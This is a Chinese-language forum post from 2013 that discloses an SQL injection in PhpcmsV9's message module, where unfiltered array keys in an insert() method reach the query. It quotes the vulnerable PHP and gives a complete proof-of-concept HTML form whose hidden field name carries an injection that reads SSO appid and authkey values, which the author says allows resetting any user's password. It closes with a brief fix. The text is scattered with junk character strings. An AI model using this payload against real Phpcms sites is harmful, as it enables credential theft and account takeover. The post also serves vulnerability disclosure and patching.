找回密码
 立即注册
查看: 2642|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:! k  Z) b( {3 {% P  e

0 x: c* b1 }: N0 {8 K第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; f" f+ y9 ^4 Z  J& }1 b/ [( i6 m

* N6 j. z5 x+ h/ f* M7 v- L$ p明天再更新下一个漏洞。
* v" I+ m7 Z' ^$ b2 `6 Z2 z1 s( |; F详细说明:' t9 W2 g' z" G
在/phpcms9/phpcms/modules/message/index.php中有代码如下:; s2 ]( X- j" g& O

3 O: W- I" j% c1 h& m$messageid = $this->message_db->insert($_POST['info'],true);
2 J/ }8 x1 r7 T# k4 \
9 t( O9 R% o# r* @; P
) x$ p9 X( l5 w$ H) B5 ^1 Linsert方法是key value的,代码如下:& h% L$ E- m) N! e- a. o0 t

7 K3 O+ L* v3 A+ Apublic function insert($data, $table, $return_insert_id = false, $replace = false) {
& W6 X0 s  e; r8 p9 K                if(!is_array( $data ) || $table == '' || count($data) == 0) {
; S. b' }# x3 }  A                        return false;
$ k  u! f+ K  `# j  _# Q$ X+ Y                }
2 ^4 k* {: `" i" j( j9 d               
3 X* e# D& d# b9 I& y, ?: C                $fielddata = array_keys($data);6 f/ q. h4 J# L
                $valuedata = array_values($data);) J- d; P0 t) N$ S+ e0 U
                array_walk($fielddata, array($this, 'add_special_char'));
6 y2 n/ P1 H8 ?+ a2 x2 d: O                array_walk($valuedata, array($this, 'escape_string'));
. Y) n6 }: m( Y% V% d+ n               
8 V* i3 s8 k/ |9 z+ P                $field = implode (',', $fielddata);) l; v  |4 d  x$ O" R
                $value = implode (',', $valuedata);# J; [( E& D( k8 ~) H- W

' t: R, F0 y5 G( s  `! `                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';7 X  V# c+ a8 U: ?- l: u- u
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
: f& L, U/ [$ B9 F8 [4 e                $return = $this->execute($sql);# M9 D, P- Q6 e5 [3 A' R
                return $return_insert_id ? $this->insert_id() : $return;- G. Q& D2 \% u4 d, y# Q" K
        }
: f% Y$ g2 A) e/ J% z) @. |  ~7 Z; t+ ~5 r6 ]- ]+ a0 Y$ @

7 Y1 k) q- M! R) \+ X( C4 l3 g嗯,很遗憾的是5 c7 ?+ s9 {7 j/ K
' ^% Q4 ?% ^2 s0 o8 F
array_walk($fielddata, array($this, 'add_special_char'));4 b1 ~& i1 g' i, J
1 y8 b) ~! v8 O1 E) v

  ]- ]7 }& A* f# y中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
+ F) i1 H* q/ R2 Q; v* u8 }
/ L" k& W. ^) B! [! L% Y5 p到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。& c3 A6 Q4 U, s( J* X" ]5 a( N0 d' P
7 g. e8 g, @4 W7 F8 E
漏洞证明:
4 E  R% y- c9 G: G读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
3 W7 E" s, x% c: B9 x' K
$ h3 l2 G* J' K% E1 o7 F3 }. K0 C+ a$ h6 \  f; `
表单如下:用户名什么的得自己改一改。
  I; h8 a8 B! L, ^% A<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">; A; f9 e( A( M9 `7 l  l" A0 e; k
<table width="100%" cellspacing="0" class="table_form">
4 N1 l& Z1 ^& L<tr>* _: G) h! r* \: K' m
<th>标 题:</th>
8 q# c, W: R1 a0 ~4 C9 C9 V( v* W<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
2 j  O6 k, i- Q</tr> + N1 _7 W# i) `+ `( C6 z8 T
<tr>  Q% O  t( L/ a% m" l" c; \& z
<th>内 容:</th>
5 p: W1 `' _( O5 z+ y<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td># r4 o- d$ W3 B5 R" [, y9 i6 t
</tr>
$ z8 ^6 D- s7 w/ [% ?<input type="hidden" name="info[replyid]" value="2" /> 2 t) R$ l* q# W. E
<input type="hidden" name="info[send_to_id]" value="cc" />
2 b& p/ U! }, z4 _& ^6 [<input type="hidden" name="info[send_from_id]" value="hh">: \: y1 i8 j# k+ W: t
<!-- 漏洞的利用重点在这里开始 -->
, h6 e8 G! U3 x: Z. H6 [<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> $ n$ {! D. r5 {
<!-- 漏洞的利用重点在这里结束 -->
) l2 S1 ?7 ]  Y8 T& i% V<tr>
; Z: ~% f) f- o4 ~9 o; r<th>验证码:</th>
: w* M) r" J  F: n2 n  x+ w8 A6 _" u<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>& d1 @: H, o2 j
</tr>5 J2 Y0 y) }( P' n) _
<tr>
4 z; r+ U6 p& P2 N<td></td>& K6 C/ ^* S( p& |
<td colspan="2"><label>5 z' M" H# U+ F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>" j  `+ V: }* D' i3 z
</label></td>
, ?: Z; Z( r/ w; T( H* V( g</tr>9 |2 V2 c( r' S# {% A% Y0 y2 A
</table>. c; X* W- h# K9 m! t
</form>/ E7 y) [5 C# [$ {
在add_special_char函数内对key做过滤就可以了。3 v! A% c2 _6 W3 F8 S! e! L+ F
8 W" H& K: V& J- a$ }

) T3 D2 g+ @, e% @; ]8 O7 V5 [1 ?! O1 O# f6 ~" h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表